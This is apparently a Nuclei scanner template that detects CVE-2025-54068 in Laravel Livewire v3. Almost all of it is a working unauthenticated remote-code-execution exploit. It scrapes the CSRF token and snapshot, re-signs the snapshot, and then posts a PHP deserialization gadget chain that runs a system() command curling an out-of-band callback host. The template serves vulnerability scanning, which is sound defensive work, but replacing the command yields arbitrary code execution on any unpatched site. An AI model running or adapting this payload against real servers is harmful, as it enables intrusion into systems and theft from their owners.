id: CVE-2025-54068

info:
  name: "Laravel - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Livewire is a full-stack framework for Laravel. In Livewire v3 up to and including v3.6.3, a vulnerability
    allows unauthenticated attackers to achieve remote command execution in specific scenarios.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-54068&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=laravel&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.8
    cve-id: CVE-2025-54068
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve,cve2025,laravel,livewire,rce,deserialization,oast,intrusive,vkev,kev
flow: http(1) && http(2) && http(3)

variables:
  marker: "{{randstr}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - "contains(body, 'wire:snapshot=')"
          - "contains(body, 'data-update-uri=')"
          - "contains(body, 'data-csrf=') || contains(body, 'csrf-token')"
        condition: and

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        internal: true
        regex:
          - 'data-csrf="([^"]+)"'
          - '"csrf"\s*:\s*"([^"]+)"'
          - '<meta name="csrf-token"\s+content="([^"]+)"'

      - type: regex
        name: update_uri
        part: body
        group: 1
        internal: true
        regex:
          - 'data-update-uri="([^"]+)"'
          - '"uri"\s*:\s*"([^"]+)"'

      - type: regex
        name: snapshot_attr
        part: body
        group: 1
        internal: true
        regex:
          - 'wire:snapshot="([^"]+)"'

      - type: regex
        name: param_name
        part: body
        group: 1
        internal: true
        regex:
          - 'wire:snapshot="[^"]*(?:&quot;data&quot;:\{&quot;|\"data\":\{\"?)([A-Za-z0-9_]+)'

  - method: POST
    path:
      - "{{BaseURL}}/{{trim_prefix(update_uri,'/')}}"
    headers:
      Content-Type: application/json
    body: |
      {
        "_token": "{{csrf_token}}",
        "components": [
          {
            "snapshot": "{{replace(replace(html_unescape(snapshot_attr),'\\','\\\\'),'\"','\\\"')}}",
            "updates": { "{{param_name}}": [] },
            "calls": []
          }
        ]
      }

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'application/json')"
          - "contains(body, 'snapshot')"
        condition: and

    extractors:
      - type: json
        name: snapshot_signed
        part: body
        internal: true
        json:
          - ".components[0].snapshot"

  - method: POST
    path:
      - "{{BaseURL}}/{{trim_prefix(update_uri,'/')}}"
    headers:
      Content-Type: application/json
    body: |
      {
        "_token": "{{csrf_token}}",
        "components": [
          {
            "snapshot": "{{replace(replace(snapshot_signed,'\\','\\\\'),'\"','\\\"')}}",
            "updates": {
              "{{param_name}}": [
                1,
                [
                  {
                    "a": [
                      {
                        "__toString": "phpversion",
                        "close": [
                          [
                            [
                              {
                                "chained": [
                                  "O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{s:5:\"dummy\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";O:31:\"Illuminate\\Validation\\Validator\":1:{s:10:\"extensions\";a:1:{s:0:\"\";s:6:\"system\";}}s:8:\"\u0000*\u0000event\";s:{{len('curl -m 4 -fsS http://{{interactsh-url}}/?q={{marker}}')}}:\"curl -m 4 -fsS http://{{interactsh-url}}/?q={{marker}}\";}s:10:\"connection\";N;s:5:\"queue\";N;s:5:\"event\";O:37:\"Illuminate\\Notifications\\Notification\":0:{}}"
                                ]
                              },
                              {
                                "s": "form",
                                "class": "Illuminate\\Broadcasting\\BroadcastEvent"
                              }
                            ],
                            "dispatchNextJobInChain"
                          ],
                          {
                            "s": "clctn",
                            "class": "Laravel\\SerializableClosure\\Serializers\\Signed"
                          }
                        ]
                      },
                      {
                        "s": "clctn",
                        "class": "GuzzleHttp\\Psr7\\FnStream"
                      }
                    ],
                    "b": [
                      {
                        "__toString": [
                          [
                            [
                              null,
                              {
                                "s": "mdl",
                                "class": "Laravel\\Prompts\\Terminal"
                              }
                            ],
                            "exit"
                          ],
                          {
                            "s": "clctn",
                            "class": "Laravel\\SerializableClosure\\Serializers\\Signed"
                          }
                        ]
                      },
                      {
                        "s": "clctn",
                        "class": "GuzzleHttp\\Psr7\\FnStream"
                      }
                    ]
                  },
                  {
                    "class": "League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator",
                    "s": "clctn"
                  }
                ]
              ]
            },
            "calls": []
          }
        ]
      }

    matchers:
      - type: word
        part: interactsh_request
        words:
          - "?q={{marker}}"